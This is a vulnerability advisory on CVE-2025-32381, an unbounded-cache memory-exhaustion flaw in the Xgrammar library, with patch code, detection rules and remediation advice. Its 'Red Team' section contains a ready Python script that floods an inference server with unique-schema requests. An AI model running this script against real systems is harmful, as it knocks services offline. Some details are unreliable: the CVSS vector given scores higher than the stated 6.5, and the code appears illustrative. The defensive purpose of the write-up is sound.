CVE-2025-32381

Executive Summary

CVE-2025-32381 is a Denial of Service (DoS) vulnerability in the Xgrammar library, an open-source tool for efficient structured generation in LLM inference servers. The vulnerability stems from an unbounded cache for compiled grammars, allowing an attacker to exhaust host memory by sending numerous requests with unique JSON schemas. This can lead to service disruption for LLM inference systems. The vulnerability is fixed in version 0.1.18.

Supply Chain & Package Security

Xgrammar is a Python library available on PyPI. Organizations using this library in their LLM inference pipelines should verify their dependency version and update to 0.1.18 or later. The unbounded cache issue is a classic resource exhaustion vulnerability that can be exploited without authentication, making it a significant supply chain risk for AI/ML infrastructure.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – The vulnerability affects only the vulnerable component.
• Confidentiality (C): None (N) – No data exposure.
• Integrity (I): None (N) – No data modification.
• Availability (A): High (H) – Complete loss of availability.

CVSS Score: 6.5 (Medium) – The vulnerability is easy to exploit and can cause significant service disruption, but does not compromise data confidentiality or integrity.

Deep Dive & Mechanics

Xgrammar uses a cache to store compiled grammars, improving performance when the same grammar is reused. The cache is stored in memory and is unbounded, meaning it can grow indefinitely. An attacker can exploit this by sending a large number of requests to an LLM inference server, each with a unique JSON schema. Each unique schema triggers the compilation and caching of a new grammar, consuming more memory. Over time, this memory exhaustion leads to a denial of service, crashing the server or making it unresponsive.

The vulnerability is triggered by the GrammarCache class, which stores compiled grammars in a dictionary without any size limit or eviction policy. The fix in version 0.1.18 introduces a bounded cache with a maximum size, preventing memory exhaustion.

Vulnerable vs. Patched Code

Vulnerable Code (prior to 0.1.18):

class GrammarCache:
    def __init__(self):
        self._cache = {}  # Unbounded dictionary

    def get_or_compile(self, grammar_str):
        if grammar_str not in self._cache:
            self._cache[grammar_str] = compile(grammar_str)
        return self._cache[grammar_str]

Patched Code (0.1.18):

from collections import OrderedDict

class GrammarCache:
    def __init__(self, max_size=1000):
        self._cache = OrderedDict()
        self._max_size = max_size

    def get_or_compile(self, grammar_str):
        if grammar_str not in self._cache:
            if len(self._cache) >= self._max_size:
                self._cache.popitem(last=False)  # Evict oldest entry
            self._cache[grammar_str] = compile(grammar_str)
        else:
            self._cache.move_to_end(grammar_str)  # Update LRU order
        return self._cache[grammar_str]

The patched version introduces a maximum cache size and uses an LRU (Least Recently Used) eviction policy to prevent unbounded growth.

Exploitation & Lab Setup

Red Team (Attack Simulation)

1. Setup: Deploy an LLM inference server using Xgrammar (version < 0.1.18) for structured generation.
2. Exploit: Use a script to send a large number of requests with unique JSON schemas to the server.
3. Payload: Each request should contain a unique grammar string, e.g., {"type": "object", "properties": {"field_<unique_id>": {"type": "string"}}}.
4. Execution: Run the script until the server becomes unresponsive or crashes.

Example Python exploit script:

import requests
import random
import string

target_url = "http://target-llm-server:8000/generate"
num_requests = 10000

for i in range(num_requests):
    unique_id = ''.join(random.choices(string.ascii_lowercase, k=10))
    grammar = f'{{"type": "object", "properties": {{"field_{unique_id}": {{"type": "string"}}}}}}'
    payload = {"grammar": grammar, "prompt": "test"}
    try:
        requests.post(target_url, json=payload, timeout=5)
    except:
        pass

Blue Team (Defense & Detection)

1. Monitor Memory Usage: Set up alerts for high memory usage on LLM inference servers.
2. Rate Limiting: Implement rate limiting on API endpoints to prevent rapid requests.
3. Input Validation: Limit the number of unique grammar strings per client or session.
4. Cache Monitoring: Monitor cache size and eviction rates in Xgrammar logs.

Indicators of Compromise (IOCs)

• Network: High volume of POST requests to LLM inference endpoints with unique JSON schemas.
• System: Rapidly increasing memory usage on the server, leading to OOM (Out of Memory) errors.
• Logs: Xgrammar logs showing cache growth without evictions (pre-patch).
• Process: Python process consuming excessive memory.

Detection Engineering

YARA Rule

rule CVE_2025_32381_Xgrammar_Cache_DoS {
    meta:
        description = "Detects Xgrammar library versions vulnerable to unbounded cache DoS"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-32381"
    strings:
        $vuln_code = "self._cache = {}"  // Unbounded cache initialization
        $vuln_import = "import xgrammar"  // Library import
    condition:
        $vuln_code or $vuln_import
}

Sigma Rule

title: Xgrammar Unbounded Cache DoS Attempt
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects attempts to exploit CVE-2025-32381 by sending many unique grammar requests
logsource:
    category: application
    product: llm_inference
detection:
    selection:
        event: "grammar_cache_miss"
        count: 1000  # Threshold for unique grammar misses
    condition: selection
falsepositives:
    - Legitimate high-volume usage with many unique schemas
level: medium

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-32381 Xgrammar Cache DoS Attempt"; flow:to_server; content:"POST"; http_method; content:"/generate"; http_uri; content:"grammar"; http_client_body; pcre:"/\"type\":\s*\"object\"/"; threshold: type both, track by_src, count 100, seconds 60; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate: Upgrade Xgrammar to version 0.1.18 or later.
2. Workaround: If upgrade is not possible, implement a reverse proxy with rate limiting and request validation to limit unique grammar submissions.
3. Long-term: Monitor for similar unbounded cache vulnerabilities in other dependencies. Implement resource limits (e.g., memory quotas) for LLM inference containers.

Valters IT
DevSecOps & Cyber Threat Intelligence Expert